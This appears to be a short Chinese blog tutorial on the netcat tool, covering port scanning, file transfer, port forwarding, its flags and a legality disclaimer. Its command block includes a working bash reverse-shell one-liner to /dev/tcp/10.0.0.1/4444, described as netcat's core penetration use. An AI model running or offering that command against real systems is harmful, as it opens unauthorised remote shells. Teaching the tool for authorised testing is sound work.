nc(netcat)命令使用

nc(netcat)命令使用完整指南:端口扫描、文件传输、反弹Shell、端口转发、Chat工具。

写在前面:合法学习边界

nc 只在授权测试环境使用。对非授权目标使用 nc 可能触犯法律。

一、nc 使用场景

nc 多种使用场景
1
端口扫描 · 文件传输 · 反弹 Shell · 端口转发 · Chat 工具

二、常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 端口扫描
nc -zv 192.168.1.100 1-1024

# 反弹 Shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# 文件传输
A: nc -l 9999 > file.tar.gz
B: nc A_IP 9999 < file.tar.gz

# 端口转发
nc -l 8080 | nc target 80

三、参数说明

1
2
-l 监听 · -z 扫描 · -v 详细输出 · -p 源端口
-u UDP · -w 超时 · -e 指定程序 · -k 保持连接

四、小结

nc 是网络调试的瑞士军刀。反弹 Shell 是最核心的渗透用途,端口转发 是内网代理的基础。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 30, 2026 10:00 +0800